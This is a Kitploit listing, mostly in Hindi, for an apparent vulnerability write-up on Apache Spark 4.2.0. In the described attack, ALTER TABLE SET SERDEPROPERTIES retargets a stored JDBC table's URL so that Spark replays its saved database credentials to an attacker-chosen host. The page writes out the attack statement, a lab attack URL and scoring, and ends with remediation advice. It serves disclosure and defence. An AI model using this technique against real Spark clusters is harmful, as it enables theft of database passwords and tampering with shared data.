Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
spark-jdbc-serde-url — Apache Spark 4.2.0 - उच्च - रिमोट - JDBC URL इंजेक्शन - ALTER TABLE SET SERDEPROPERTIES | Kitploit
उपकरण/GitHubGitHub/abraxas/spark-jdbc-serde-url
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगपेपर और शोधरेड टीमिंगडेटाबेस सुरक्षालैब और अभ्यास
GitHubabraxas/spark-jdbc-serde-url

spark-jdbc-serde-url

Apache Spark 4.2.0 - उच्च - रिमोट - JDBC URL इंजेक्शन - ALTER TABLE SET SERDEPROPERTIES

रिपॉजिटरी देखें
2 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Abraxas Labs - spark-jdbc-serde-url

abraxaslabs.tech  ·  github.com/abraxas  ·  @abraxas_null  ·  [email protected]  ·  spark-jdbc-serde-url

spark-jdbc-serde-url

Class: JDBC URL injection Reach: Remote

Apache Spark 4.2.0 (32f72996) - Apache Software Foundation

SPARK-31710 ने स्कैन-टाइम अतिरिक्त विकल्पों को संग्रहीत JDBC url को ओवरराइड करने से रोक दिया। ALTER TABLE SET SERDEPROPERTIES अभी भी storage.properties में मर्ज होता है, जो JDBC स्कैन विकल्प मैप है। संग्रहीत user / password Spark JDBC विकल्प नाम नहीं हैं, इसलिए वे नए URL तक पहुँच जाते हैं।

एक साझा-कैटलॉग SQL उपयोगकर्ता ऑपरेटर-प्रोविज़न किए गए USING jdbc टेबल को रीटार्गेट कर सकता है और संग्रहीत डेटाबेस पासवर्ड को अपनी चुनी हुई होस्ट पर रीप्ले कर सकता है।

IDअभी तक कोई CVE नहीं
ClassJDBC URL injection / संग्रहीत-क्रेडेंशियल पुनःउपयोग (SPARK-31710 का अवशेष)
ReachRemote (साझा कैटलॉग पर Connect या Hive Thrift SQL)
CWECWE-15, CWE-522
CVSSHigh: 8.1 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
ProductApache Spark
Affected4.2.0 (32f7299601108917fb01920a54e084595b7b3bf8) SQL v1 JDBC टेबल
Authसाझा-कैटलॉग SQL उपयोगकर्ता (जॉब-सबमिट jar नहीं)
LicenseGNU Affero GPL v3.0
Labकेवल 127.0.0.1:18960

हमलावर क्या कर सकता है

एक Connect gRPC SQL सत्र या Hive Thrift SQL सत्र एक साझा externalCatalog पर जिसमें पहले से ही संग्रहीत क्रेडेंशियल्स के साथ एक स्थायी USING jdbc टेबल है। जॉब सबमिटर नहीं। वह सत्र नहीं जिसने मूल URL का नाम दिया।

MethodSinkPrivilege
ALTER TABLE t SET SERDEPROPERTIES ('url' = '<attacker-jdbc>') फिर REFRESH TABLE t / SELECTstorage.properties ++ serdeProperties फिर JDBC Driver.connect(url, properties)Integrity: प्रोविज़न किए गए टेबल को हमलावर लिसनर पर रीटार्गेट करें। लैब-प्रमाणित (connect=yes)। Confidentiality: PostgreSQL स्टार्टअप और क्लियरटेक्स्ट ऑथ पर संग्रहीत DB user / password रीप्ले करें। लैब-प्रमाणित (user-replay=true password-replay=true)। SHOW CREATE के माध्यम से सीक्रेट की रेकॉन बंद है (रिडैक्टेड)।
वही पर्सिस्ट, बाद में टेनेंट t पर SELECTसाझा कैटलॉग पंक्तिIntegrity, अनुमानित: t के विरुद्ध अन्य सत्रों की क्वेरीज़ अब नए URL पर हिट करती हैं (गलत DB, हमलावर-नियंत्रित पंक्तियाँ)। Availability, अनुमानित: मूल DB तब तक अगम्य है जब तक कोई एडमिन serde रीसेट न करे। DoS के लिए बार से बाहर।
अतिरिक्त serde कुंजियाँ (sessionInitStatement, prepareQuery, driver)शेष user / password पर स्कैन विकल्पIntegrity, अनुमानित: अतिरिक्त स्टेटमेंट या क्लासपाथ Driver नो-आर्ग ctor। डिफ़ॉल्ट-क्लासपाथ गैजेट के बिना RCE तक न बढ़ाएँ। प्रयोग नहीं किया गया।
ALTER TABLE SET TBLPROPERTIESकेवल CatalogTable.propertiesइस वॉक के लिए बंद। लैब-प्रमाणित (storage url अपरिवर्तित, कोई oracle हिट नहीं)।
स्कैन-टाइम अतिरिक्त विकल्प url टकरावSPARK-31710 generateDatasourceOptionsबंद। लैब-प्रमाणित (extra-options-clash अस्वीकृत)।
उसी सत्र द्वारा नामित spark.read.format("jdbc").option("url", ...)इच्छित डेटा-प्लेनDROP। स्वामी-नियंत्रित URL यह अवशेष नहीं है।
डेटासोर्स टेबल पर SET SERDE '<class>'क्लास नामबंद (UNSUPPORTED_FEATURE.ALTER_TABLE_SERDE_FOR_DATASOURCE_TABLE)। प्रयोग नहीं किया गया।

निकटवर्ती बंद: सत्र-नामित JDBC / फ़ाइल पथ। spark.sql.legacy.extraOptionsBehavior टकराव जाँच। OSS Spark में Unity externalOptionsAllowList नहीं है। CREATE TABLE URL स्वामी-नियंत्रित है (यह अवशेष नहीं)। JDBC URL लॉग रिडैक्शन बिना शर्त है। फ़ाइल-टेबल path locationUri में रहता है। JDBCTableCatalog कनेक्शन सत्र कैटलॉग कॉन्फ़ से आते हैं (URL चुनने के समान डेटा-प्लेन)। बिना साझा कैटलॉग वाला एकल-उपयोगकर्ता pyspark मॉडल से बाहर है।

मैंने इसे कैसे खोजा

मैंने Spark 4.2.0 पिन किया, master नहीं और 4.3 RC नहीं। खुले क्लस्टर पर जॉब सबमिट डिज़ाइन से है। दिलचस्प अवशेष नामित फ़िक्स के बगल में बैठते हैं। SPARK-31710 / generateDatasourceOptions मौजूदा serde कुंजी के लिए भिन्न स्कैन-टाइम url को अस्वीकार करता है। SET TBLPROPERTIES केवल table.properties लिखता है। डेटासोर्स टेबल अभी भी SET SERDEPROPERTIES की अनुमति देते हैं और storage.properties में मर्ज होते हैं (++, बाद की कुंजियाँ जीतती हैं)। user और password कभी jdbcOptionNames में प्रवेश नहीं करते, इसलिए asConnectionProperties उन्हें Driver.connect को सौंप देता है।

properties = table.storage.properties ++ serdeProperties.getOrElse(Map())
driver.connect(jdbcOptions.url, properties)

SHOW CREATE password को रिडैक्ट करता है। SQL उपयोगकर्ता सीक्रेट को वापस नहीं पढ़ सकता। वे अभी भी उस पर सवारी कर सकते हैं।

पहले से दर्ज गलत मोड़: CREATE TABLE url को बग मानना; extra-options टकराव को फिर से दर्ज करना; SET TBLPROPERTIES से storage हिलने की अपेक्षा; SHOW CREATE पासवर्ड लीक करता है ऐसा दावा; पूरा क्लस्टर चलाना जब उद्धृत Scala एक गैजेट है; एक रिवर्स शेल। Oracle लूपबैक पर एक PostgreSQL स्टार्टअप प्लस क्लियरटेक्स्ट ऑथ है।

Lab

cd lab
./run.sh

लूपबैक 127.0.0.1:18960 एक PostgreSQL प्रोटोकॉल लिसनर है। HTTP हेल्थ 127.0.0.1:18961 है। गैजेट कंटेनर Temurin 21 प्लस libpostgresql-jdbc-java है। संग्रहीत URL jdbc:postgresql://127.0.0.1:1/provisioned है (कनेक्शन अस्वीकृत)। हमला URL jdbc:postgresql://oracle:18960/stolen है। संग्रहीत उपयोगकर्ता spark_jdbc। संग्रहीत पासवर्ड stored-secret-SPARK-JDBC-SERDE-URL। इसे लूपबैक से बाइंड करें।

SUCCESS SPARK-JDBC-SERDE-URL connect=yes user-replay=true password-replay=true SPARK-JDBC-SERDE-URL-WITNESS

समाधान

संग्रहीत JDBC url / user / password से टकराने वाली SET SERDEPROPERTIES कुंजियों को अस्वीकार करें, वही जाँच जो generateDatasourceOptions पहले से स्कैन-टाइम अतिरिक्त के लिए चलाता है। या जब url बदले तो संग्रहीत user / password हटा दें। या डेटासोर्स JDBC serde को टेबल प्रॉपर्टीज़ मानें, storage नहीं। तब तक, एक स्थायी USING jdbc टेबल पर जो पासवर्ड संग्रहीत करती है, अविश्वसनीय SQL को ALTER TABLE न दें।

संदर्भ

टूल डाउनलोड करें